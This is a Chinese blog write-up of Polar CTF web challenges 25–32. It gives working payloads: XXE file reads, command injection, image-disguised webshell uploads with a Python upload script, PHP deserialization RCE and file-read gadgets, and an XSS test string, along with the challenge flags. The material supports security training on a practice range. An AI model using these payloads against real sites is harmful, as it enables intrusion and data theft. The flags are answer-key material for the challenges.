今天是2026年8月16号
今天分享的是Polar靶场WEB中等题25-32题
Polar靶场
25.题目信息:ExX?

进入靶场:

上方一行inflagggg.php应该是告诉我们flag在flagggg.php中,点击phpinfo会显示phpinfo();的页面并且会给我们参数c:

用dirsearch扫一下可以发现/dom.php目录:

我们进入/dom.php会显示报错信息:

这和之前做过的第五题xxe一样,现在已经确认/dom.php是xxe漏洞点,直接构造xxe语句:
<?xml version="1.0"?>
<!DOCTYPE x [
<!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<x>&f;</x>
发POST包然后拿到了flag的base64编码,解码后得到flag:flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}

26.题目信息:EZ_Host

进入靶场:

题目让我们使用host参数传参,传一下本机地址看看:

在后面加上ls命令看看目录:

发现flag,直接cat:

成功拿到flag:flag{this_is_your_flagggg!!!}
这题没有任何过滤,还真是题如其名非常的EZ!
27.题目信息:传马

进入靶场:

题目让我们上传一个webshell到服务器里,在源码中可以看到题目源码:

只能上传jpg、png、gif图片,试试抓包改后缀,先在shell.jpg文件中写入一句话木马:

然后在BP中改后缀发包:

上传成功,用蚁剑连接,密码a:

连接成功,在根目录拿到flag:flag{420F9CED0C3E6CE65A90817A65197A09}

28.题目信息:笑傲上传

进入靶场:

这次题目要我们传一个木马,在源码中也可以看到题目源码:

依旧只能上传jpg、png、gif图片,我们点击主页面的募神的神秘链接会跳转到一个后门:

这是一个文件包含后门,我们对file传参/etc/passwd试试:

尝试直接读取flag:

成功拿到flag:flag{dfbb09ce0b4ae994b2a8249b810ea22d}
但这题应该是让我们上传一个木马,然后在后门这里执行木马来获取flag,我们这样写一句话木马:

GIF89a来绕过文件格式检测,然后上传这个图片马,在源码中可以看到我们上传的图片马被重命名为一串数字+后缀变成了.gif:

我们复制这个路径到后门中(注意路径开头要为./或空,因为我们要在当前目录访问这个路径。),用file参数访问这个路径:

可以看到成功显示了我们的文件头,证明木马上传成功,我们发POST请求参数a=system('ls');:

成功回显了当前目录,我们到根目录可以找到flag:

flag在flag.txt中,我们直接cat:

成功拿到flag:flag{dfbb09ce0b4ae994b2a8249b810ea22d}
29.题目信息:序列一下

进入靶场:

分析一下代码,我们对x传入的参数会经过destruct魔术方法(对象销毁时,自动触发),方法中会给$a赋值$lt的值,然后让$a包含着$b,所以我们可以为$lt赋值system来执行命令,为$b赋值我们要执行的命令来达到RCE的目的,构造payload:
<?php
error_reporting(0);
class Polar{
public $url = 'polarctf.com';
public $lt="system";
public $b="ls";
function __destruct()
{
$a = $this->lt;
$a($this->b);
}
}
$a=new Polar();
echo serialize($a);
?>
成功执行ls命令:

在根目录中找到flag:

直接cat /flag,拿到flag:flag{425d24d5f338640619b0760a358bdf9f}

30.题目信息:坏掉的上传页

进入靶场:

让我们上传图片,下面的小字告诉我们上传入口被黑客破坏无法使用,我们先用dirsearch扫一下:

发现/config.php目录,进入:

define("DB_FILE", UPLOAD_PATH . "database.db");:
定义一个名为DB_FILE的常量,UPLOAD_PATH是一个没有在本文件定义的常量,一定是别的地方提前define定义的,代表上传目录路径,后面拼接了一个数据库文件database.db,我们直接用python写一个上传脚本看看上传是否成功:
import requests
url = "http://7f5913b9-fd5c-4c54-989d-7145fb1149e8.www.polarctf.com:8090/"
files = {
"file": ("shell.php", b"这里放一句话木马")
}
res = requests.post(url, files=files, timeout=8)
print("状态码:", res.status_code)
print("响应:\n", res.text)
直接执行:

可以看到上传成功了,我们尝试访问/database.db目录看看是否为上传目录:

成功了,看来这里就是上传目录了,我们直接访问uploadsabc/file_6a818051242425.36571289.php目录:

没有404,看来是成功了,我们发一个POST请求:a=system('ls /');:

成功执行ls命令,但flag不在根目录,寻找flag:

成功在上级目录找到flag,直接cat /flag{???}:

成功拿到flag:flag{73b974596dc61737dbe1d52ec2e84433}
本题也可用蚁剑连接拿flag。
31.题目信息:xxmmll

进入靶场:

源码:

用dirsearch扫一下:

扫到了三个目录/docker-compose.yml、/Dockerfile、/flag.txt,我们分别看看:
/docker-compose.yml:

/Dockerfile:

/flag.txt:

直接在前两个目录中得到了flag:flag{ce22bbe170d234645361239b395dbc5d}
以上是非常规解法,现在看看常规解法,我们可以在网络->根目录->响应头或BP抓包看响应头,里面有一个文件:xxmmll.php

我们进入这个文件目录中:

是一个输入框,看看源码:

让我们直接读flag,我们试试xxe语句:

点击Submit后成功弹出flag:

但经过测试我发现xss语句<script>alert('xss');</script>也可以触发拿到flag,所以这里应该是有固定检测。
32.题目信息:Note

进入靶场:

是一个输入框,可以保存,可能是存储型xss漏洞,有一个提示说调试日志可能包含重要线索,我们用dirsearch扫一下看看:

我们看看这些目录:
/debug.log:

/docker-compose.yml:

/Dockerfile:

/flag.txt:

拿到了flag:flag{4596b24ab4ffcaf5472e9db97d21a3a1}
我们继续解这题,分析/debug.log里的内容可以推断出:存在 Note 类,有 filename 属性(默认 logs.txt),应用对 data 参数调用 unserialize(),推断的源码结构:
<?php
class Note {
private $filename = 'logs.txt'; // ← 注意:private!
private $content;
public function __destruct() {
// 读取 filename 指向的文件并输出
echo file_get_contents($this->filename);
}
}
?>
index.php的关键逻辑:
<?php
if (isset($_GET['data'])) {
$obj = unserialize($_GET['data']);
if (!($obj instanceof Note)) {
die("Error: Invalid object type");
}
// 校验通过后继续,脚本结束时触发 $obj->__destruct()
}
?>
我们可以利用?data= 传入恶意序列化对象 ->unserialize() 重建 Note 实例 -> 脚本结束触发 __destruct() -> 读取 flag.txt
构造payload:
<?php
class Note {
private $filename;
private $content;
}
$note = new Note();
$ref = new ReflectionClass($note);
$prop = $ref->getProperty('filename');
$prop->setAccessible(true);
$prop->setValue($note, 'flag.txt');
echo urlencode(serialize($note));
?>
拿到序列化字符串后进行传参:

成功拿到flag:flag{4596b24ab4ffcaf5472e9db97d21a3a1}
今天就到这里。
”真正的障碍从来不是漏洞本身,而是容易被表象迷惑的双眼。“
今日做题分享
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法